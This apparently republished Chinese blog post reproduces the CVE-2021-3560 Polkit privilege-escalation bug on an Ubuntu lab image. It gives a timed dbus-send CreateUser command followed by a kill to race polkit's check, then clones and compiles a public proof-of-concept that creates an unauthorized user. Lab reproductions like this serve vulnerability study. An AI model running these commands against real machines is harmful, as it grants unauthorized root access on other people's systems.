CVE-2021-3560 Polkit权限提升漏洞复现

Posted 玛卡巴卡巴巴亚卡

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2021-3560 Polkit权限提升漏洞复现相关的知识,希望对你有一定的参考价值。

原理先不写了,毕竟之前写过

使用ubuntu16.04镜像

首先启动ssh服务

sudo service sshd start

通过ssh连接到本地

ssh [username]@127.0.0.1

此时在ssh连接的文本模式执行pkexec会启动文本验证

 dbus-send指令可以从命令行触发polkit认证,如果在文本模式会话中执行,会立即执行失败,因为dbus-send不会启动自己的身份验证代理程序,而pkexec会自己启动身份验证。

 CVE-2021-3560漏洞是通过启动dbus-send命令并在polkit仍在处理请求的过程中杀死进程断开连接来触发的,所以要kill掉该进程我们首先需要测试一下执行dbus-send需要多长时间。

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1

我执行的时间平均是0.007s,所以我们在纸条命令后0.003s执行kill

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1 & sleep 0.003s ; kill $!

 但执行几次后都失败了,没有创建成功,所以直接上poc来测试。

下载poc

git clone https://github.com/hakivvi/CVE-2021-3560

 运行exploit程序

gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)

 我们可以看到已经创建出了pwnd的用户只是没有登录上来

直接登录的话会失败,但是在界面切换是可以成功的。

以上是关于CVE-2021-3560 Polkit权限提升漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2021-3560 Polkit权限提升漏洞复现

CVE-2021-3560(polkit本地提权漏洞复现)

Linux Polkit 权限提升漏洞预警(CVE-2021-4034)

关于 Linux Polkit 权限提升漏洞(CVE-2021-4034)的修复方法

[ vulhub漏洞复现篇 ] Linux Polkit 权限提升漏洞CVE-2021-4034

安全通告Linux Polkit 权限提升漏洞风险通告(CVE-2021-4034),云鼎实验室已成功验证复现